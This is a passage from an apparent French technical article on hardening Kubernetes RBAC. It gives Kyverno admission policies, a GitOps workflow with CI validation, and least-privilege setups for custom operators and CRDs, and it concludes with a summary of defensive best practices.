Non, les Network Policies et le RBAC couvrent des surfaces d'attaque distinctes et complémentaires. Les Network Policies contrôlent la communication réseau entre les pods (qui peut envoyer du trafic à qui, sur quel port), tandis que le RBAC contrôle l'accès à l'API Kubernetes (qui peut créer/modifier/lire quelles ressources). Un pod sans accès réseau à l'API Server ne peut pas exploiter un token ServiceAccount volé, ce qui fait des Network Policies une mitigation efficace contre le vol de token. Inversement, un pod avec des Network Policies ouvertes mais un ServiceAccount sans permissions ne peut pas interagir avec l'API même s'il y a accès réseau. Les deux mécanismes doivent être déployés conjointement pour une isolation complète : RBAC pour le plan de contrôle (API Server) et Network Policies pour le plan de données (trafic réseau inter-pods).

Kyverno : alternative à Gatekeeper pour les politiques RBAC

Kyverno est un contrôleur d'admission Kubernetes qui offre une alternative à OPA Gatekeeper avec une approche distincte : les politiques sont définies en YAML natif Kubernetes plutôt qu'en langage Rego, réduisant la courbe d'apprentissage pour les équipes familières avec Kubernetes mais pas avec la programmation logique. Pour les contraintes RBAC, Kyverno offre des capacités de validation, de mutation et de génération de ressources qui permettent non seulement de bloquer les configurations dangereuses mais aussi de créer automatiquement les configurations sécurisées.

# Kyverno — Politiques RBAC automatisées

# 1. Interdire les ClusterRoleBindings vers cluster-admin
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: block-cluster-admin-binding
  annotations:
    policies.kyverno.io/title: Block cluster-admin bindings
    policies.kyverno.io/severity: critical
spec:
  validationFailureAction: Enforce
  background: true
  rules:
  - name: block-cluster-admin-crb
    match:
      any:
      - resources:
          kinds:
          - ClusterRoleBinding
    validate:
      message: "La création de bindings vers cluster-admin est interdite. Utilisez des rôles granulaires."
      pattern:
        roleRef:
          name: "!cluster-admin"

---
# 2. Forcer automountServiceAccountToken: false sur tous les pods
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: disable-automount-sa-token
spec:
  validationFailureAction: Enforce
  rules:
  - name: validate-automount
    match:
      any:
      - resources:
          kinds:
          - Pod
    exclude:
      any:
      - resources:
          namespaces:
          - kube-system
          - cert-manager
    validate:
      message: "automountServiceAccountToken doit être false. Utilisez des projected volumes si nécessaire."
      pattern:
        spec:
          automountServiceAccountToken: false

---
# 3. Générer automatiquement un NetworkPolicy deny-all pour chaque nouveau namespace
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: generate-default-deny-netpol
spec:
  rules:
  - name: generate-deny-all
    match:
      any:
      - resources:
          kinds:
          - Namespace
    exclude:
      any:
      - resources:
          names:
          - kube-system
          - kube-public
    generate:
      synchronize: true
      apiVersion: networking.k8s.io/v1
      kind: NetworkPolicy
      name: default-deny-all
      namespace: "{{request.object.metadata.name}}"
      data:
        spec:
          podSelector: {}
          policyTypes:
          - Ingress
          - Egress

---
# 4. Générer automatiquement un ServiceAccount restrictif pour chaque namespace
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: generate-restricted-sa
spec:
  rules:
  - name: generate-restricted-default-sa
    match:
      any:
      - resources:
          kinds:
          - Namespace
    generate:
      synchronize: true
      apiVersion: v1
      kind: ServiceAccount
      name: restricted-default
      namespace: "{{request.object.metadata.name}}"
      data:
        automountServiceAccountToken: false

---
# 5. Interdire les wildcards dans les Roles et ClusterRoles
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: block-wildcard-roles
spec:
  validationFailureAction: Enforce
  rules:
  - name: block-wildcard-verbs
    match:
      any:
      - resources:
          kinds:
          - Role
          - ClusterRole
    exclude:
      any:
      - resources:
          names:
          - cluster-admin
          - "system:*"
    validate:
      message: "Les permissions wildcard (*) sont interdites. Spécifiez les verbes, ressources et apiGroups explicitement."
      deny:
        conditions:
          any:
          - key: "{{ request.object.rules[].verbs[] }}"
            operator: AnyIn
            value: ["*"]
          - key: "{{ request.object.rules[].resources[] }}"
            operator: AnyIn
            value: ["*"]

La fonctionnalité de génération de Kyverno est particulièrement puissante pour l'automatisation de la sécurité RBAC. Chaque fois qu'un nouveau namespace est créé, Kyverno peut automatiquement générer un NetworkPolicy deny-all, un ServiceAccount restrictif par défaut, un ResourceQuota limitant le nombre de pods et secrets, et un LimitRange imposant des limites de ressources. Cette approche « secure by default » garantit qu'aucun namespace ne reste sans protection, même si l'équipe qui le crée oublie de configurer ces éléments de sécurité.

La fonctionnalité de mutation permet de corriger automatiquement les configurations non conformes plutôt que de les bloquer. Par exemple, un pod déployé sans automountServiceAccountToken: false peut être automatiquement muté pour ajouter ce paramètre, évitant le blocage du déploiement tout en appliquant la politique de sécurité. Cette approche « fix rather than block » est particulièrement adaptée aux phases de transition où le blocage immédiat de toutes les configurations non conformes perturberait les opérations.

RBAC et GitOps : gestion des permissions via Infrastructure as Code

L'approche GitOps appliquée à la gestion RBAC traite les configurations de rôles, bindings et politiques comme du code versionné dans un dépôt Git, déployé automatiquement par un opérateur GitOps (ArgoCD, Flux) avec une réconciliation continue. Cette approche élimine les modifications manuelles via kubectl (qui échappent à l'audit et à la revue de code), fournit un historique complet des changements de permissions, et permet la revue par les pairs avant l'application de toute modification de sécurité.

# Structure de dépôt GitOps pour la gestion RBAC

# Arborescence recommandée:
# rbac/
# ├── base/
# │   ├── clusterroles/
# │   │   ├── pod-reader.yaml
# │   │   ├── secret-consumer.yaml
# │   │   ├── developer.yaml
# │   │   └── platform-engineer.yaml
# │   ├── policies/
# │   │   ├── block-wildcards.yaml
# │   │   ├── block-cluster-admin.yaml
# │   │   └── require-sa-annotations.yaml
# │   └── kustomization.yaml
# ├── overlays/
# │   ├── production/
# │   │   ├── team-backend/
# │   │   │   ├── rolebindings.yaml  # Bindings spécifiques team-backend
# │   │   │   └── kustomization.yaml
# │   │   ├── team-frontend/
# │   │   │   ├── rolebindings.yaml
# │   │   │   └── kustomization.yaml
# │   │   └── kustomization.yaml
# │   └── staging/
# │       ├── team-backend/
# │       │   ├── rolebindings.yaml  # Permissions plus larges en staging
# │       │   └── kustomization.yaml
# │       └── kustomization.yaml
# └── README.md

# Exemple de processus de modification de permissions:
# 1. Le développeur crée une PR modifiant un RoleBinding
# 2. La CI exécute:
#    - kubeval/kubeconform (validation syntaxique)
#    - kyverno test (validation contre les politiques)
#    - conftest (tests OPA sur les manifestes)
#    - diff-highlight (montre les changements de permissions visuellement)
# 3. L'équipe sécurité review la PR (CODEOWNERS sur le dossier rbac/)
# 4. Après approbation et merge, ArgoCD synchronise automatiquement

# CODEOWNERS (GitHub/GitLab)
# Toute modification RBAC nécessite l'approbation de l'équipe sécurité
/rbac/ @security-team
/rbac/base/clusterroles/ @security-team @platform-team
/rbac/overlays/production/ @security-team @platform-team

# --- CI Pipeline pour la validation RBAC (GitHub Actions) ---
# .github/workflows/rbac-validation.yaml
# name: Validate RBAC Changes
# on:
#   pull_request:
#     paths:
#       - 'rbac/**'
# jobs:
#   validate:
#     runs-on: ubuntu-latest
#     steps:
#     - uses: actions/checkout@v4
#     - name: Validate YAML syntax
#       run: kubeval --strict rbac/**/*.yaml
#     - name: Test against Kyverno policies
#       run: kyverno apply rbac/base/policies/ --resource rbac/overlays/
#     - name: Check for wildcard permissions
#       run: |
#         if grep -r '"*"' rbac/overlays/ | grep -v 'cluster-admin'; then
#           echo "ERROR: Wildcard permissions detected"
#           exit 1
#         fi
#     - name: Generate permissions diff
#       run: |
#         # Compare les permissions avant/après la PR
#         git diff origin/main -- rbac/ | grep '^[+-]' | grep -E 'verbs|resources|apiGroups'

L'approche GitOps pour le RBAC résout plusieurs problèmes opérationnels. Le problème de la « configuration drift » (divergence entre la configuration souhaitée et la configuration réelle) est éliminé par la réconciliation continue d'ArgoCD : toute modification manuelle est automatiquement corrigée pour correspondre à l'état déclaré dans Git. Le problème de la traçabilité est résolu par l'historique Git : qui a modifié quelle permission, quand, pourquoi (message de commit), et qui a approuvé (approbation de la PR). Le problème de la réversibilité est résolu par le revert Git : un changement de permission problématique est annulé en une opération.

Approfondissement technique

La limitation principale de l'approche GitOps pour le RBAC concerne les situations d'urgence où une modification de permissions est nécessaire immédiatement (blocage d'un utilisateur compromis, ajout d'une permission critique pour une intervention de maintenance urgente). Pour ces cas, un processus de bypass documenté doit exister : modification manuelle via kubectl avec une alerte automatique à l'équipe sécurité, suivie obligatoirement d'une PR de régularisation dans les 24 heures. La réconciliation ArgoCD détectera la divergence et enverra une alerte, mais ne la corrigera pas si elle est configurée en mode « auto-heal: false » pour le dossier RBAC.

Le testing des configurations RBAC dans le pipeline CI/CD utilise plusieurs outils complémentaires. Conftest applique des politiques OPA/Rego sur les manifestes YAML avant leur déploiement, vérifiant par exemple qu'aucun ClusterRoleBinding ne référence cluster-admin. Kubeval et Kubeconform valident la syntaxe YAML contre le schéma Kubernetes, détectant les erreurs de structure. Pluto identifie les API dépréciées qui pourraient causer des échecs de déploiement lors des mises à jour du cluster. La combinaison de ces outils avec des tests spécifiques aux politiques de sécurité de l'organisation (pas de wildcards, pas de bindings vers des rôles interdits, obligations d'annotations sur les ServiceAccounts) crée un pipeline de validation complet qui empêche les configurations RBAC non conformes d'atteindre le cluster.

La visualisation des changements RBAC dans les pull requests est un élément souvent négligé mais crucial pour la qualité des revues de sécurité. Un diff YAML brut de modification de ClusterRole est difficile à interpréter en termes d'impact sécurité. Des outils de visualisation qui montrent les permissions ajoutées/supprimées en format tabulaire, avec un scoring de risque basé sur la dangerosité des verbes et ressources modifiés, facilitent considérablement la revue par l'équipe sécurité. Un script custom dans le pipeline CI qui génère un commentaire de PR montrant « Permissions ADDED: create pods in namespace production (RISK: HIGH) » et « Permissions REMOVED: list configmaps in namespace staging (RISK: LOW) » rend la revue instantanément compréhensible.

La gestion des drift (divergences entre l'état déclaré dans Git et l'état réel du cluster) est un enjeu opérationnel majeur. ArgoCD peut être configuré pour alerter sur les drifts sans les corriger automatiquement (mode « auto-sync: false ») ou pour les corriger immédiatement (mode « auto-sync: true, self-heal: true »). Pour les configurations RBAC, le mode avec auto-correction est généralement recommandé car un drift RBAC peut indiquer soit une erreur de manipulation manuelle (à corriger), soit une action d'un attaquant ayant modifié les permissions (à corriger encore plus urgemment). L'alerte de drift, combinée avec les audit logs Kubernetes qui identifient qui a effectué la modification manuelle, fournit le contexte nécessaire pour distinguer ces deux scénarios.

Sécurisation des CRDs et des opérateurs custom

Les Custom Resource Definitions (CRDs) et les opérateurs Kubernetes custom introduisent des considérations RBAC supplémentaires car ils créent de nouveaux types de ressources avec des verbes et des permissions spécifiques. Un opérateur mal configuré peut constituer un vecteur d'escalade de privilèges si son ServiceAccount dispose de permissions excessives ou si ses CRDs permettent des interactions non prévues avec les ressources du cluster.

# Sécurisation d'un opérateur custom

# 1. ServiceAccount dédié avec permissions minimales
apiVersion: v1
kind: ServiceAccount
metadata:
  name: my-operator-sa
  namespace: my-operator-system
automountServiceAccountToken: true  # Nécessaire pour l'opérateur

---
# 2. ClusterRole avec uniquement les permissions nécessaires
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: my-operator-role
rules:
# Accès à ses propres CRDs
- apiGroups: ["myoperator.example.com"]
  resources: ["myresources", "myresources/status", "myresources/finalizers"]
  verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
# Ressources Kubernetes que l'opérateur doit gérer
- apiGroups: ["apps"]
  resources: ["deployments"]
  verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
- apiGroups: [""]
  resources: ["services", "configmaps"]
  verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
# Événements pour le reporting
- apiGroups: [""]
  resources: ["events"]
  verbs: ["create", "patch"]
# Leader election
- apiGroups: ["coordination.k8s.io"]
  resources: ["leases"]
  verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
# NOTE: PAS de permissions sur secrets, nodes, namespaces, clusterroles

---
# 3. CRD avec validation de schéma stricte
apiVersion: apiextensions.k8s.io/v1
kind: CustomResourceDefinition
metadata:
  name: myresources.myoperator.example.com
spec:
  group: myoperator.example.com
  versions:
  - name: v1
    served: true
    storage: true
    schema:
      openAPIV3Schema:
        type: object
        properties:
          spec:
            type: object
            properties:
              replicas:
                type: integer
                minimum: 1
                maximum: 10  # Limiter pour éviter les abus
              image:
                type: string
                pattern: '^registry\.example\.com/.*$'  # Registre autorisé uniquement
              resources:
                type: object
                properties:
                  cpu:
                    type: string
                    pattern: '^[0-9]+m$'
                  memory:
                    type: string
                    pattern: '^[0-9]+(Mi|Gi)$'
            required: ["replicas", "image"]
        required: ["spec"]

---
# 4. RBAC pour les utilisateurs de la CRD (qui peut créer des MyResources)
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: myresource-editor
  labels:
    # Permet l'agrégation dans le ClusterRole 'edit'
    rbac.authorization.k8s.io/aggregate-to-edit: "true"
rules:
- apiGroups: ["myoperator.example.com"]
  resources: ["myresources"]
  verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]

---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: myresource-viewer
  labels:
    rbac.authorization.k8s.io/aggregate-to-view: "true"
rules:
- apiGroups: ["myoperator.example.com"]
  resources: ["myresources", "myresources/status"]
  verbs: ["get", "list", "watch"]

La validation de schéma OpenAPI dans la CRD est critique pour la sécurité. Sans validation stricte, un utilisateur pouvant créer des instances de la CRD pourrait spécifier des valeurs arbitraires qui, interprétées par l'opérateur, conduiraient à des actions non prévues. Par exemple, un champ image sans contrainte de pattern permettrait de spécifier une image malveillante depuis un registre public. Un champ replicas sans maximum permettrait un déni de service par surconsommation de ressources. La validation au niveau de la CRD constitue un contrôle d'admission supplémentaire qui complète les politiques Gatekeeper ou Kyverno.

Les opérateurs disposant de permissions create pods sont particulièrement sensibles car ils héritent du même risque d'escalade de privilèges documenté précédemment. Un attaquant compromettant l'opérateur ou manipulant ses CRDs pour lui faire créer un pod avec des caractéristiques privilégiées (hostNetwork, hostPath, privileged containers) obtient une escalade via l'opérateur. La mitigation combine les Pod Security Standards (qui bloquent les pods privilégiés indépendamment de qui les crée) avec une validation stricte dans l'opérateur lui-même (le code de l'opérateur refuse de créer des pods non conformes à sa politique interne).

La revue de sécurité des opérateurs tiers avant leur installation dans un cluster de production doit suivre une checklist structurée. Premièrement, analyser le ClusterRole de l'opérateur et identifier les permissions à haut risque (create pods, get secrets, update clusterroles, impersonate). Deuxièmement, vérifier que le namespace de l'opérateur est isolé avec des Network Policies restrictives. Troisièmement, valider que les images de l'opérateur proviennent d'un registre de confiance et sont signées. Quatrièmement, vérifier que les CRDs de l'opérateur incluent une validation de schéma stricte empêchant les valeurs malveillantes. Cinquièmement, tester le comportement de l'opérateur avec des CRDs contenant des valeurs limites ou malformées pour identifier les crash-loops ou les comportements non sécurisés. Cette revue doit être répétée à chaque mise à jour majeure de l'opérateur car de nouvelles permissions ou de nouveaux comportements peuvent être introduits.

Les attaques via la supply chain des opérateurs sont un risque émergent. Un opérateur populaire compromis (via la compromission de son dépôt GitHub, de son registre d'images ou de sa chaîne de build) peut introduire un code malveillant avec un accès élevé au cluster. L'utilisation d'images signées et vérifiées (via Cosign/Sigstore), de policies d'admission validant les signatures d'images (Connaisseur, Kyverno image verification), et de SBOMs (Software Bill of Materials) pour les composants déployés réduit ce risque. La restriction des registres d'images autorisés via une politique d'admission qui bloque les images provenant de registres non approuvés constitue un contrôle supplémentaire efficace contre l'introduction d'images malveillantes dans le cluster.

Conclusion : le RBAC comme fondation de la sécurité Kubernetes

Le RBAC Kubernetes est le mécanisme de contrôle d'accès le plus critique dans un cluster de production, et sa maîtrise conditionne l'ensemble de la posture de sécurité. Les vecteurs d'escalade de privilèges documentés dans cet article — création de pods, lecture de secrets, impersonation, wildcards, bindings non contrôlés — transforment des permissions apparemment inoffensives en chemins vers le contrôle total du cluster. La défense efficace repose sur trois piliers : la configuration RBAC granulaire (moindre privilège, pas de wildcards, resourceNames spécifiques, séparation des environnements), les contrôleurs d'admission (OPA Gatekeeper, Pod Security Standards) qui empêchent les actions dangereuses même lorsque le RBAC les autorise, et le monitoring continu (audit logs, alerting, revues périodiques) qui détecte les dérives et les anomalies. Ces trois piliers, déployés conjointement avec les Network Policies et l'authentification OIDC centralisée, constituent l'architecture de sécurité minimale pour tout cluster Kubernetes en production.